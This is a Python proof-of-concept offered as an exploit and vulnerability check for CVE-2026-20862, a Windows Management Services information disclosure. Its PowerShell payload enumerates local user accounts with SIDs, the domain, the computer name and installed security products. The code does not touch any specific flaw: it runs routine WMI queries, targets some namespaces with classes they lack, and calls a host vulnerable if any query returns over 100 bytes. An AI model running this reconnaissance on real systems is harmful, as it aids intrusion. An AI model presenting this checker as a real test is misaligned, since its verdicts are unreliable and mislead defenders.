Exposure of sensitive information to an unauthorized actor in Windows Management Services allows an authorized attacker to disclose information locally.
The following code is for security research and authorized testing only.
python
# CVE-2026-20862 PoC - Windows Management Services Information Disclosure
# This PoC demonstrates the information disclosure vulnerability in Windows Management Services
# Author: Security Researcher
# Note: This is for educational and authorized testing purposes only
import subprocess
import json
import sys
def check_vulnerability():
"""
Check if the system is vulnerable to CVE-2026-20862
This function attempts to query sensitive WMI information
"""
vulnerable_indicators = []
# Target WMI namespaces that may expose sensitive information
target_namespaces = [
"root\\SecurityCenter2",
"root\\Microsoft\\Windows\\ Defender",
"root\\cimv2\\security\\MicrosoftTpm"
]
print("[*] Testing for CVE-2026-20862 vulnerability...")
print("[*] Target: Windows Management Services Information Disclosure")
print("[*] CVSS Score: 5.5 (Medium)")
print("-" * 60)
# Check if running on Windows
if sys.platform != 'win32':
print("[!] This PoC is designed for Windows systems only")
return False
# Attempt WMI query to test information disclosure
for namespace in target_namespaces:
try:
# PowerShell command to query WMI namespace
ps_command = f'''
$ErrorActionPreference = 'SilentlyContinue'
Get-WmiObject -Namespace "{namespace}" -Class Win32_OperatingSystem | Select-Object *
'''
result = subprocess.run(
['powershell', '-Command', ps_command],
capture_output=True,
text=True,
timeout=10
)
if result.returncode == 0 and result.stdout:
# Check if sensitive information is exposed
if len(result.stdout) > 100: # Significant data returned
vulnerable_indicators.append({
'namespace': namespace,
'data_size': len(result.stdout),
'status': 'Potentially Exposed'
})
print(f"[+] Sensitive data found in namespace: {namespace}")
print(f"[+] Data size: {len(result.stdout)} bytes")
except Exception as e:
print(f"[-] Error querying namespace {namespace}: {str(e)}")
print("-" * 60)
if vulnerable_indicators:
print("[!] System appears to be VULNERABLE to CVE-2026-20862")
print(f"[!] Found {len(vulnerable_indicators)} potential information disclosure points")
return True
else:
print("[+] System may not be vulnerable or requires elevated inspection")
return False
def exploit_demo():
"""
Demonstrate the exploitation technique
Note: Only for authorized security testing
"""
print("\n[*] CVE-2026-20862 Exploitation Demonstration")
print("[*] This demonstrates how an attacker could exploit this vulnerability")
print("-" * 60)
# PowerShell script to extract sensitive information
exploit_script = '''
# CVE-2026-20862 Exploitation Script
# Requirements: Local user account (low privilege)
Write-Host "[+] CVE-2026-20862 Exploitation Starting..."
Write-Host "[+] Current User: $env:USERNAME"
Write-Host "[+] Current Privilege Level: User"
# Query sensitive information from Windows Management Services
$sensitiveData = @()
# Enumerate user accounts information
Write-Host "`n[*] Attempting to retrieve user account information..."
try {
$users = Get-WmiObject -Namespace "root\\cimv2" -Class Win32_UserAccount -ErrorAction SilentlyContinue
if ($users) {
foreach ($user in $users) {
$sensitiveData += [PSCustomObject]@{
AccountName = $user.Name
FullName = $user.FullName
SID = $user.SID
Status = $user.Status
}
}
Write-Host "[+] Successfully retrieved user account information"
}
}
catch {
Write-Host "[-] Failed to retrieve user information"
}
# Query system information
Write-Host "`n[*] Attempting to retrieve system configuration..."
try {
$sysInfo = Get-WmiObject -Namespace "root\\cimv2" -Class Win32_ComputerSystem -ErrorAction SilentlyContinue
if ($sysInfo) {
Write-Host "[+] Domain: $($sysInfo.Domain)"
Write-Host "[+] Computer Name: $($sysInfo.Name)"
Write-Host "[+] Manufacturer: $($sysInfo.Manufacturer)"
}
}
catch {
Write-Host "[-] Failed to retrieve system information"
}
# Query security products
Write-Host "`n[*] Attempting to retrieve security product information..."
try {
$securityProducts = Get-WmiObject -Namespace "root\\SecurityCenter2" -ErrorAction SilentlyContinue
if ($securityProducts) {
foreach ($product in $securityProducts) {
Write-Host "[+] Security Product: $($product.displayName)"
}
}
}
catch {
Write-Host "[-] Failed to retrieve security product information"
}
Write-Host "`n[!] Information Disclosure Successful"
Write-Host "[!] This demonstrates the vulnerability impact"
'''
try:
result = subprocess.run(
['powershell', '-Command', exploit_script],
capture_output=True,
text=True,
timeout=30
)
print(result.stdout)
if result.stderr:
print(f"[!] Errors: {result.stderr}")
except Exception as e:
print(f"[-] Execution error: {str(e)}")
if __name__ == "__main__":
print("CVE-2026-20862 - Windows Management Services Information Disclosure")
print("=" * 60)
# Run vulnerability check
is_vulnerable = check_vulnerability()
# Optional: Run demonstration (uncomment for authorized testing)
# print("\n[*] Running exploitation demonstration...")
# exploit_demo()
print("\n[*] Remediation: Apply Microsoft security update for CVE-2026-20862")
print("[*] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20862")